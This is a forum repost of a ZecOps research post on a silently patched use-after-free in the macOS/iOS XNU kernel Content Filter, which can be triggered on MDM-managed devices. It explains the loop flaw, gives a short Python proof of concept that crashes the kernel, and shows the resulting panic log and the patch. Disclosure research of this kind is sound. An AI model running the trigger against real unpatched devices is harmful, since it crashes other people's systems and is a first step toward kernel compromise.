Nytro Posted August 18, 2019 Report Share Posted August 18, 2019 Content-Filter Strikes Back: Yet Another (Silently Patched) MacOS / iOS Kernel Use-After-Free By ZecOps Research Team SHARE THIS ARTICLE Share on facebook Facebook Share on twitter Twitter Share on linkedin LinkedIn Introduction As we were investigating anomalies on Mobile Device Management (MDM) devices, ZecOps MacOS / iOS DFIR analysis revealed yet another vulnerability that is applicable only to managed devices. As far as we are aware, similarly to the previous vulnerability that we analyzed in Content Filter (DoubleNull Part I, DoubleNull Part II), Apple patched this issue silently without assigning a CVE. This vulnerability is a Use-After-Free deep inside XNU kernel Content Filter module which can be triggered only on managed devices. This vulnerability allows sandboxed processes to attack XNU kernel and leads to kernel code execution on MDM enabled devices. This vulnerability affects iOS 12.0.1 ~ iOS 12.1.2, fixed on iOS 12.1.3 (XNU-4903.242.1). Upon closing the socket, it sleeps and waits for hash_entries to be garbage collected, however it keeps the reference of the hash_entry which can be freed in GC thread. The freed hash_entry object will be used when the sleeping thread wakes up. Vulnerability Details We’ve explained Network Extension Control Policy (NECP) and content filter in our “Content Filter Kernel UAF DoubleNull Part I” blog post. In content filter, the “struct cfil_entry” maintains the information most relevant to the message handling over a kernel control socket with a user space filter agent. Function cfil_filters_udp_attached is called to wait on first flow when closing a UDP socket on last file table reference removal (For more details see bsd/net/content_filter.c:5336) 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 for (int i = 0; i < CFILHASHSIZE; i++) { cfilhash = &db->cfdb_hashbase; LIST_FOREACH_SAFE(hash_entry, cfilhash, cfentry_link, temp_hash_entry) { if (hash_entry->cfentry_cfil != NULL) { cfil_info = hash_entry->cfentry_cfil; for (kcunit = 1; kcunit <= MAX_CONTENT_FILTER; kcunit++) { entry = &cfil_info->cfi_entries[kcunit - 1]; /* Are we attached to the filter? */ if (entry->cfe_filter == NULL) { continue; } ... error = msleep((caddr_t)cfil_info, mutex_held, PSOCK | PCATCH, "cfil_filters_udp_attached", &ts);//unlock so then sleep cfil_info->cfi_flags &= ~CFIF_CLOSE_WAIT; ... LIST_FOR_EACH_SAFE is a macro that iterates over the list safe against removal of list entry. Following is the expanded code for LIST_FOR_EACH_SAFE, the hash_entry points to next hash_entry (hash_entry->cfentry_link.le_next) in the cfentry_link at the beginning of the loop. 1 2 3 4 #define LIST_FOREACH_SAFE(var, head, field, tvar) \ for ((var) = LIST_FIRST((head)); \ (var) && ((tvar) = LIST_NEXT((var), field), 1); \ (var) = (tvar)) 1 2 3 For (hash_entry = cfilhash.lh_first; \ hash_entry && (temp_hash_entry = hash_entry->cfentry_link.le_next, 1); \ hash_entry = temp_hash_entry) LIST_FOREACH_SAFE is not so “safe” after all, each loop the temp_hash_entry is signed to the next element, it will trigger the Use-After-Free (UAF) if the next element is freed by Garbage Collection (GC) thread while sleeping. PoC Setup Environment Similarly to our previous blog about Content-Filter, running the PoC on your macOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions: At least one Content Filter is attached. An NECP policy which affects UDP requests is added to the NECP database. The affected NECP policy and the attached Content Filter have the same filter_control_unit. PoC Following PoC code generates cfentry_list with multiple hash_entries which will trigger the content filter UAF. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 # PoC - CVE-2019-XXXX by ZecOps Research Team (c) # (c) ZecOps.com - Find and Leverage Attacker's Mistakes # Intended only for educational purposes # Considered as confidential under NDA until responsible disclosure # Not for sale, not for sharing, use at your own risk import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) msg = b'ZecOps' port = 1000 addr = '192.168.0.1' for i in range(30): s.sendto(msg, (addr, port+i)) s.close() The following panic was generated on macOS 10.14.1 following an execution of the PoC. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Anonymous UUID: 5EC8060F-9BB5-FC9F-827F-3100A79DDD5F Thu Jul 25 01:51:26 2019 *** Panic Report *** panic(cpu 0 caller 0xffffff800498089d): Kernel trap at 0xffffff8004bc9e9f, type 13=general protection, registers: CR0: 0x000000008001003b, CR2: 0x0000000105f81000, CR3: 0x00000000a09db0ee, CR4: 0x00000000001606e0 RAX: 0x0000000000000001, RBX: 0xffffff8018462458, RCX: 0xffffff8004d54d28, RDX: 0x0000000003000000 RSP: 0xffffff88b14cbd60, RBP: 0xffffff88b14cbdb0, RSI: 0xffffff80113fc000, RDI: 0x0000000000000000 R8: 0x0000000000000000, R9: 0x0000000000989680, R10: 0xffffff800f193c24, R11: 0x00000000000000ee R12: 0xffffff80113fc000, R13: 0xc0ffeee7942133be, R14: 0x0000000000000082, R15: 0x0000000000000003 RFL: 0x0000000000010286, RIP: 0xffffff8004bc9e9f, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000105f81000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0 Backtrace (CPU 0), Frame : Return Address 0xffffff800474b290 : 0xffffff800485653d mach_kernel : _handle_debugger_trap + 0x48d 0xffffff800474b2e0 : 0xffffff800498eac3 mach_kernel : _kdp_i386_trap + 0x153 0xffffff800474b320 : 0xffffff800498067a mach_kernel : _kernel_trap + 0x4fa 0xffffff800474b390 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0 0xffffff800474b3b0 : 0xffffff8004855f57 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff800474b4d0 : 0xffffff8004855da3 mach_kernel : _panic + 0x63 0xffffff800474b540 : 0xffffff800498089d mach_kernel : _kernel_trap + 0x71d 0xffffff800474b6b0 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0 0xffffff800474b6d0 : 0xffffff8004bc9e9f mach_kernel : _cfil_sock_close_wait + 0x1cf 0xffffff88b14cbdb0 : 0xffffff8004d9dd55 mach_kernel : _soclose_locked + 0xd5 0xffffff88b14cbe00 : 0xffffff8004d9e83b mach_kernel : _soclose + 0x9b 0xffffff88b14cbe20 : 0xffffff8004d14aae mach_kernel : _closef_locked + 0x16e 0xffffff88b14cbe90 : 0xffffff8004d14732 mach_kernel : _close_internal_locked + 0x362 0xffffff88b14cbf00 : 0xffffff8004d19124 mach_kernel : _close_nocancel + 0xb4 0xffffff88b14cbf40 : 0xffffff8004de104b mach_kernel : _unix_syscall64 + 0x26b 0xffffff88b14cbfa0 : 0xffffff8004805456 mach_kernel : _hndl_unix_scall64 + 0x16 The Patch This vulnerability was patched on iOS12.1.3 (xnu-4903.242.2~1). Following the patch, Content-Filter jumps out of the loop before calling msleep, so the temp_hash_entry won’t be used after being freed by the GC thread. following the patch Sursa: https://blog.zecops.com/vulnerabilities/content-filter-strikes-back-yet-another-macos-ios-kernel-uaf-without-a-cve/ Quote Link to comment Share on other sites More sharing options...